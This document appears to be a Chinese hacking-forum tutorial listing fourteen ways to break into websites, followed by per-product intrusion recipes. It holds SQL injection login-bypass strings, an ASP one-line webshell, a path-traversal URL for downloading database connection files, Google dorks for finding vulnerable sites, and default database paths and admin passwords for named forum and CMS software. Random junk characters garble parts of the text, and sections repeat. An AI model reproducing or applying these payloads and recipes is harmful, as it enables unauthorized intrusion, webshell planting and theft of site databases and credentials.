|
14种可利用的入侵方法 1.上传漏洞 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”，80%就有漏洞了！ 有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传. 2.注入漏洞 字符过滤不严造成的 3.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击，我们可以找下和这个站同一服务器的站点，然后在利用这个站点用提权，嗅探等方法来入侵我们要入侵的站点。 4.暴库:把二级目录中间的/换成%5c 5.’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有： ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’a’=’a 6.社会工程学。这个我们都知道吧。就是猜解。 ７.写入ASP格式数据库。就是一句话木马〈%execute request("value")%〉（数据库必需得是ASP或ASA的后缀） 8.源码利用：一些网站用的都是网上下载的源码.有的站长很懒.什么也不改. 9.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL. /Databackup/dvbbs7.MDB /bbs/Databackup/dvbbs7.MDB /bbs/Data/dvbbs7.MDB /data/dvbbs7.mdb /bbs/diy.asp /diy.asp /bbs/cmd.asp /bbs/cmd.exe /bbs/s-u.exe /bbs/servu.exe 工具：网站猎手 挖掘鸡 明小子 10.查看目录法:人一些网站可以断开目录，可以方问目录。 210.37.95.65 images 11.工具溢出 12.搜索引擎利用: (1).inurl:flasher_list.asp 默认数据库:database/flash.mdb 后台/manager/ (2).找网站的管理后台地址: site:xxxx.comintext:管理 site:xxxx.comintitle:管理 〈关键字很多，自已找〉 site:xxxx.cominurl:login (3).查找access的数据库,mssql、mysql的连接文件 allinurl:bbsdata filetype:mdbinurl:database filetype:incconn inurl:datafiletype:mdb 13.COOKIE诈骗：把自己的ID修改成管理员的，MD5密码也修改成他的，用桂林老兵工具可以修改COOKIE。 14.利用常见的漏洞：如动网BBS 可以先用:dvbbs权限提升工具，使自已成为前台管理员。 THEN，运用:动网固顶贴工具，找个固顶贴，再取得COOKIES，这个要你自已做。我们可以用WSockExpert取得Cookies/NC包 这个我就不做了，网上教程多的是，自已下个看看。 工具：dvbbs权限提升工具 动网固顶贴工具 15.还有一些老漏洞。如IIS3，4的查看源码，5的Delete CGI，PHP的一些老洞，我就不说了啊。。太老了。没有什么大用途。 ####################################### 一般入侵思路 脚本注入（ASP PHP JSP） 1.脚本漏洞 其它脚本漏洞（上传漏洞，跨站漏洞） 域名旁注 2.旁注 “IP”旁注 本地溢出 3.溢出漏洞 远程溢出 ARP欺骗 4.网络窃听 IP欺骗 5.社会工程学 一、入侵BBSXP系统： 用到的工具：网站猎手 数据库小助手 MD5密码破解工具 n C g j'f D#f关键词：广告合作&F.N;n#e#K m 管理员登陆地址：BBS主页 :l m;B K9N1a0p whackbbs.tech.topzj.com默认数据库地址：/DATABASE/BBSXP.MDB*K h;s 二、入侵动网论坛用到工具：网站猎手 数据库小助手 MD5密码破解工具 x#u e:l 关键词：powered by dvbbs &t.u W n F'qT/w |默认数据库地址：data/dvbbs7.mdb 或者Databackup/dvbbs7.mdb或者bbs/Databackup/dvbbs7.mdb *f&R N ~+e3j;K n u K.|一流技术联盟【HACKER】或者/bbs/Data/dvbbs7.mdb \ A P R5s W v k 管理员登陆地址：BBS主页默认管理员账号密码：admin admin888 F#e*Q"A h } x&b.uA'H9o O0V N u4m p/Q $b K V;c X)X7`hackbbs.tech.topzj.com三、入侵新云系统hackbbs.tech.topzj.com#`5w0M#a*F w I 用到的工具：数据库小助手 MD5密码破解工具 挖掘鸡 O1m ?0F r ^ L 关键词：本站所提供的程序均来自于 Internet(所以无法保证下载后一定可以安装管理员登陆地址：/admin/admin_login.asp +p N q-N9m A7k4N默认数据库：database/#newasp.mdb（因为加了#在浏览器是无法连接的。所以我们要改成%23）hackbbs.tech.topzj.com c#M b9B x L$g M database/%23newasp.mdb一流技术联盟【HACKER】,i G A j Ik { 默认管理员账号密码：admin admin 四、入侵无忧传奇系统 【HACKER】用到的工具：网站猎手 数据库小助手 MD5密码破解工具 关键字： inurl:Msmir_DownLoads \*? S'P4V(\ p一流技术联盟【HACKER】默认数据库地址：数据库连接：/msmir_net.mdb 或/msmir/msmir.mdb管理员登陆地址：admin.asp /| o M a(} [%C q | H4t默认管理员账号密码：msmir msmir o-L7^2K&z d6^ Dhackbbs.tech.topzj.com同上，得到管理员密码后，再进入后台，发布新闻，用捉包工具捉包，再用NC提交，得到SHELL，一流技术联盟【HACKER】*e k I;G$] v2D:_p i u b @ Y 五、入侵小公司小企业系统关键词：inurl:Went.后台登陆地址：manage/login.asp默认管理员账号密码：'or''=''or' 'or''=''or' 一流技术联盟【HACKER】 L&{"e(C v J l 或：admin admin入侵搜索关键字默认数据库: Databases/myszw.mdb Databases/myszw1.mdb 上传 upload_Photo.asp?PhotoUrlID=3 upload_Photo.asp?PhotoUrlID=1 ---------------------------------------------------- 关键字：网站建设公司企业网站管理系统 后缀： admin/login.asp --------------------------------------- 关键字：网梦购物系统 gCS木马 GOOGLE里搜索关键字: 上面的这个名字只是该留言者使用的昵称,不代表任何管理员身份! 把index.asp换成 mdb/vcsbook.asp 代码： --------------------------------------- 关键子：inurl:Went.asp 后缀：manage/login.asp 密码：'or''=''or' ============================ 关键字：acblog blogdata/acblog.asa 默认数据库。 ======================================= 关键字:Copyright ? 2005-2008??Power 然后写入默认数据库：databass/datashop.asp 在网址后面加上主页后面加上：linktianjia.asp 申请连接输入一句话代码： 或者点下面的管理入口 密码：'or'='or' 一句话连接的时候在网站后面加上：databass/datashop.asp ======================================================== 关键词 co net mib ver 1.0 design by hypo 搜索网站 http://www. 密码 'or'='or' ============================================== 新云漏洞：把/flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就可以下载conn.asp 找到数据库地址比如 www. 这个站那么数据库地址就是 http://www./database\xzws.mdb 大家时常碰到数据库如果前面或者中间+了# 可以用%23替换就可以下载了如:#xzws.mdb 改成%23xzws.mdb 那么数据库就是http://www./database\%23xzws.mdb然后下载数据库 ====================================================== 网站猎手 一句话木马 关键字：Powered by BBSXP 7.00 后缀：DataBase\BBSXP7.mdb 默认后台：/bbsxp/Login.asp ===================================== 关键字:Management Ver 3.0 Build 20030628 后缀：upload.asp 一：网站猎手 t0/fF'G ZD 二：明小子 三：ASP木马 =DUs ==================== 密码：'or'='or' 搜索：WEB Manage Ver 1.0 LQT Ver 1.0 Design By wm 6 Web Development By Ver 1.0 Final Web Management Ver 1.0 Design By Ck8 ===================================== edit.asp?table= edit.asp?boardname= action= cnunews= news_main&acode= asp?id=1 asp?id=2 &idx= edit.asp?idx= 啊D注入工具 百度搜索 ========================= 搜索：Co Net MIB Ver 1.0网站后台管理系统 =============================================== 用到工具:挖掘鸡 后缀添加:admin/login.asp 搜索关键词:申请会员有什么好处? 密码：'or'='or' ================================= 啊D注入工具--百度----关键子：admin ==================================== 挖掘机关键字：Powered by WEBBOY页面：/upfile.asp 网站猎手关键字：Powered by mypower 后缀：upfile_photo.asp upfile_softpic.asp upfile_adpic.asp ====================== 关键字：Power BY:VenShop V7.01 Copyright:VenShop.Com 密码：'or'='or' ======================= ;: 关键字:powered by mypower 漏洞页面:upfile_photo.asp Upfile_Soft.asp upfile_adpic.asp upfile_softpic.asp =============================== 关键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送方式->在线支付或下单后汇款->汇款确认->发货->完成 漏洞页面:upload.asp upfile_flash.asp ============================= 网上搜索 inurl:manage/login.asp ====================================== 关键字:Power BY:VenShop V7.01 后台地址:ad_login.asp 密码：'or'='or' ==================== 关键字：Powered by WEBBOY 后缀：/upfile.asp 工具：明小子上传 ==================== 关键词：inurl: asp?=数字 inurl: php?=数字 =========================== 关键字:went.asp 后缀：manage/login.asp ========================== 添加后缀/msmir_net.mdb 搜索：inurl:Msmir_DownLoads =============================== 关键字Powered By ：SMT Version 5.0 后缀：upfile_flash.asp =========================== 关键字：你要入侵的类别 inurl:asp 工具：啊D注入工具 ================================== ======================================== 一、入侵BBSXP系统： 用到的工具：网站猎手 数据库小助手 MD5密码破解工具 关键词：广告合作 管理员登陆地址：BBS主页 默认数据库地址：/DATABASE/BBSXP.MDB ----------------------------------------- 二、入侵动网论坛 用到工具：网站猎手 数据库小助手 MD5密码破解工具 关键词：powered by dvbbs 默认数据库地址：data/dvbbs7.mdb 或者Databackup/dvbbs7.mdb或者bbs/Databackup/dvbbs7.mdb 或者/bbs/Data/dvbbs7.mdb 管理员登陆地址：BBS主页 默认管理员账号密码：admin admin888 -------------------------------------- 三、入侵新云系统 用到的工具：数据库小助手 MD5密码破解工具 挖掘鸡 ?N 6'*2{NT eIEr\X4\~~ 关键词：本站所提供的程序均来自于 Internet 所以无法保证下载后一定可以安装 管理员登陆地址：/admin/admin_login.asp U 默认数据库：database/#newasp.mdb（因为加了#在浏览器是无法连接的。所以我们要改成%23） database/%23newasp.mdb 默认管理员账号密码：admin admin ----------------------------------- 四、入侵无忧传奇系统 用到的工具：网站猎手 数据库小助手 MD5密码破解工具 关键字： inurl:Msmir_DownLoads 默认数据库地址：数据库连接：/msmir_net.mdb 或/msmir/msmir.mdb 管理员登陆地址：admin.asp 默认管理员账号密码：msmir msmir |
|
|
